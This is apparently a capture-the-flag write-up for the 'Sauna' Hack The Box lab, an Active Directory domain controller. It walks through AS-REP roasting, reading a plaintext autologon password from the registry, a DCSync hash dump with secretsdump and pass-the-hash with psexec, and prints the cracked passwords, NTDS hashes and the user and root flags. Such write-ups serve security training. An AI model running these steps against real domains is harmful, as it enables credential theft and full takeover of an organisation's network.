

User: fsmith

We begin the assessment with our usual nmap scan.

```
cmd: nmap -sV -sC 10.10.10.175 -v -oA nmap/scan
```

```
# Nmap 7.80 scan initiated Thu Mar 19 20:11:22 2020 as: nmap -sV -sC -v -oA nmap/scan 10.10.10.175
Nmap scan report for 10.10.10.175
Host is up (0.13s latency).
Not shown: 988 filtered ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
|_ fingerprint-strings:
|_   DNSVersionBindReqTCP:
|_     version
|_     bind
80/tcp    open  http         Microsoft IIS httpd 10.0
|_   http-methods:
|_     Supported Methods: OPTIONS TRACE GET HEAD POST
|_     Potentially risky methods: TRACE
|_   http-server-header: Microsoft-IIS/10.0
|_   http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-20 07:14:00Z)
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp    open  ldap         Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp    open  microsoft-ds?
464/tcp    open  kpasswd5?
593/tcp    open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped
3268/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp   open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/19%Time=5E740A49%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"%0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\0\0\0\07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_   clock-skew: 7h02m10s
|_   smb2-security-mode:
|_     2.02:
|_       Message signing enabled and required
|_   smb2-time:
|_     date: 2020-03-20T07:16:21
|_     start_date: N/A

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 19 20:16:49 2020 -- 1 IP address (1 host up) scanned in 327.65 seconds
```

Looking at the results, we can see that this is a Windows machine with LDAP and Kerberos. There's usually something good in LDAP, so we'll look there first.

```
cmd: ldapsearch -x -h 10.10.10.175 -s base namingContexts
```

We see that egotistical-bank.local is the domain we are targeting. Adding this to our /etc/hosts file, we continue enumerating.

```
cmd: ldapsearch -x -h 10.10.10.175 -b "dc=egotistical-bank,dc=local"
```

Looking at the results, we find a user named Hugo Smith on the system. Armed with this name, we can attempt an ASREPROast attack, hoping that he doesn't have Kerberos pre-authentication required. In order to do this, we need to create a list of his possible usernames like so.

```
root@kali:~/HTB/10.10.10.175# cat names
hugo
hugo.smith
hugosmith
hsmith
hugos
hugo-smith
hugo_smith
```

```
cmd: while read NAME; do GetNPUsers.py egotistical-bank.local/$NAME -no-pass; done < names
```

```
root@kali:~/HTB/10.10.10.175# while read NAME; do GetNPUsers.py egotistical-bank.local/$NAME -no-pass; done < names
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[*] Getting TGT for hugo
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
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[*] Getting TGT for hugo.smith
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
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[*] Getting TGT for hugosmith
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
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
[*] Getting TGT for hsmith
[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
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[*] Getting TGT for hugos
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
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
[*] Getting TGT for hugo-smith
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
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[*] Getting TGT for hugo_smith
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
```

While we have a match, it appears that he won't be susceptible to this attack. However, we note that his name is "hsmith", which means other users might follow the same structure. Referring back to the nmap scan, we check out the website at port 80.



Judging by the landing page, the website belongs to Egotistical Bank. Using the knowledge we have, we can search for more employees on the "About Us" page. Surely enough, we have multiple new targets for our attack.



By adding their corporate usernames to our list, we can attempt the ASREPROast attack on them as well.

```
cmd: while read NAME; do GetNPUsers.py egotistical-bank.local/$NAME -no-pass; done < employees
```

```
root@kali:~/HTB/10.10.10.175# cat employees | xargs -I % sh -c 'GetNPUsers.py egotistical-bank.local/%-no-pass'
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[*] Getting TGT for hsmith
[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
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[*] Getting TGT for fsmith
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:79ba05fa2a288bca4e17974357273870$c2b750b33564911c3e0ae420124c55fc0110d5c9b33ce9a65f87c624228dd827bf9b7bbdf17f9de25ced29a000a497eb5059b72657e3777fc60249cd957d6eda6fdeeb995a1203c0fee097cce5bcf654d13c0fc62d7a6cce858f7317493dfa8edda4e4afe1c9d4473641a412fb878269eea2f65db9c2223bedbc3fb9c69be7e5f1cf9f5166af674cb151355497504afa288617d86bf0988c3b9be597286bf3644a4837b09f17ca64e831fa38fc4ccaedbe6806b172d3917a4cb32b628931bfc8b7dfc81aa993879335432f5623b2d04252f27ba29e87696c2c2b7ece20691447d3f29224627288bd248adec32c2582270bf468928ededa6c2292858ad74f3ebc
Impacket v0.9.21.dev1+20200225.153700.afe746d2 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for scoins
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
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[*] Getting TGT for btaylor
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
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[*] Getting TGT for hbear
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
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[*] Getting TGT for skerb
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
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[*] Getting TGT for sdriver
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
```

Cracking the hash we found for fsmith, we see that his password is Thestrokes23. Using our favorite tool, evil-winrm, we may now log in as Fergus Smith.

```
cmd: evil-winrm -u fsmith -p Thestrokes23 -i 10.10.10.175
```

```
*Evil-WinRM* PS C:\Users\FSmith\Desktop> ipconfig;hostname;whoami

Windows IP Configuration

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix . . : 
    IPv6 Address. . . . . : dead:beef::7c4a:b77d:d936:4d2d
    Link-local IPv6 Address . . . . . : fe80::7c4a:b77d:d936:4d2d%8
    IPv4 Address. . . . . : 10.10.10.175
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : fe80::250:56ff:feb9:7eaa%8
                                fe80::250:56ff:feb9:8535%8
                                10.10.10.2

SAUNA
egotisticalbank\fsmith
*Evil-WinRM* PS C:\Users\FSmith\Desktop> cat user.txt
1b5520b98d97cf17f24122a55baf70cf
```

user.txt: 1b5520b98d97cf17f24122a55baf70cf

Privilege Escalation: svc_loanmgr

Beginning with basic Windows enumeration, we quickly find interesting results when looking for Default Passwords.

```
fsmith@sauna> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
```

```
*Evil-WinRM* PS C:\Users\FSmith\Desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon
    AutoRestartShell REG_DWORD 0x1
    Background REG_SZ 0 0 0
    CachedLogonsCount REG_SZ 10
    DebugServerCommand REG_SZ no
    DefaultDomainName REG_SZ EGOTISTICALBANK
    DefaultUserName REG_SZ EGOTISTICALBANK\svc_loanmanager
    DisableBackButton REG_DWORD 0x1
    EnableSIHostIntegration REG_DWORD 0x1
    ForceUnlockLogon REG_DWORD 0x0
    LegalNoticeCaption REG_SZ
    LegalNoticeText REG_SZ
    PasswordExpiryWarning REG_DWORD 0x5
    PowerdownAfterShutdown REG_SZ 0
    PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    ReportBootOk REG_SZ 1
    Shell REG_SZ explorer.exe
    ShellCritical REG_DWORD 0x0
    ShellInfrastructure REG_SZ sihost.exe
    SiHostCritical REG_DWORD 0x0
    SiHostReadyTimeOut REG_DWORD 0x0
    SiHostRestartCountLimit REG_DWORD 0x0
    SiHostRestartTimeGap REG_DWORD 0x0
    Userinit REG_SZ C:\Windows\system32\userinit.exe,
    VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
    WinStationsDisabled REG_SZ 0
    scremoveoption REG_SZ 0
    DisableCAD REG_DWORD 0x1
    LastLogOffEndTimePerfCounter REG_QWORD 0x8e3982368
    ShutdownFlags REG_DWORD 0x80000027
    DisableLockWorkstation REG_DWORD 0x0
    DefaultPassword REG_SZ Moneymakestheworldgoround!

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon\UserDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon\VolatileUserMgrKey
```

```
fsmith@sauna> net users
fsmith@sauna> net user svc_loanmgr
```

From this, we can see that svc_loanmanager is actually svc_loanmgr and that the account is a Remote Management User. Because of this, we can log into it via evil-winrm.

```
cmd: evil-winrm -u svc_loanmgr -p Moneymakestheworldgoround\! -i 10.10.10.175
```



```

Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> ipconfig; hostname; whoami

Windows IP Configuration

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . : 
IPv6 Address. . . . . : dead:beef::44e9:eb71:f57a:7954
Link-local IPv6 Address . . . . . : fe80::44e9:eb71:f57a:7954%8
IPv4 Address. . . . . : 10.10.10.175
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : fe80::250:56ff:feb9:7eaa%8
                             fe80::250:56ff:feb9:8535%8
                             10.10.10.2

SAUNA
egotisticalbank\svc_loanmgr

```


Root: Administrator

After basic enumeration, we decide to check Active Directory via BloodHound. In order to do this, we upload SharpHound.exe through evil-winrm.

```

svc_loanmgr@sauna> upload SharpHound.exe
svc_loanmgr@sauna> ./SharpHound.exe

```



Copying the data into BloodHound, we notice svc_loanmgr has DS-Replication-Get-Changes-All privilege on the domain egotistical-bank.local. This allows us to use secretsdump.py to find the administrator password hash.

```

cmd: secretsdump.py
egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround\!@10.10.10.175

```

```

root@kali:~/HTB/10.10.10.175# secretsdump.py egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround\!@10.10.10.175
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[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSMith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNAS:1000:aad3b435b51404eeaad3b435b51404ee:f202e9779d957398b59766d929a2dce2:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031
Administrator:aes128-cts-hmac-sha1-96:145e4d0e4a6600b7ec0ece74997651d0
Administrator:des-cbc-md5:19d5f15d689b1ce5
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfcd9
EGOTISTICAL-BANK.LOCAL\HSMith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSMith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSMith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNAS:aes256-cts-hmac-sha1-96:5166f50cc0d84739a04f5320bbf9d6896a3923b79c74d626cc3236f2fed3439a
SAUNAS:aes128-cts-hmac-sha1-96:3c1943df60eb9a51157349e36e4b04e9
SAUNAS:des-cbc-md5:38e0255b10912a57
[*] Cleaning up...

```

The Administrator's hash is all we need to gain access via either evil-winrm or psexec.

```
cmd: psexec.py -hashes  
aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff  
egotistical-bank.local/Administrator@10.10.10.175
```

```
C:\Users\Administrator\Desktop>ipconfig && hostname && whoami  
  
Windows IP Configuration  
  
Ethernet adapter Ethernet0:  
  
    Connection-specific DNS Suffix  . :  
    IPv6 Address. . . . . : dead:beef::f8f5:5c4a:d77a:ea61  
    Link-local IPv6 Address . . . . . : fe80::f8f5:5c4a:d77a:ea61%8  
    IPv4 Address. . . . . : 10.10.10.175  
    Subnet Mask . . . . . : 255.255.255.0  
    Default Gateway . . . . . : fe80::250:56ff:feb9:8535%8  
                                fe80::250:56ff:feb9:7eaa%8  
                                10.10.10.2  
  
SAUNA  
nt authority\system  
  
C:\Users\Administrator\Desktop>type root.txt  
f3ee04965c68257382e31502cc5e881f
```

root.txt: f3ee04965c68257382e31502cc5e881f

With that, we have fully compromised Sauna. Cheers!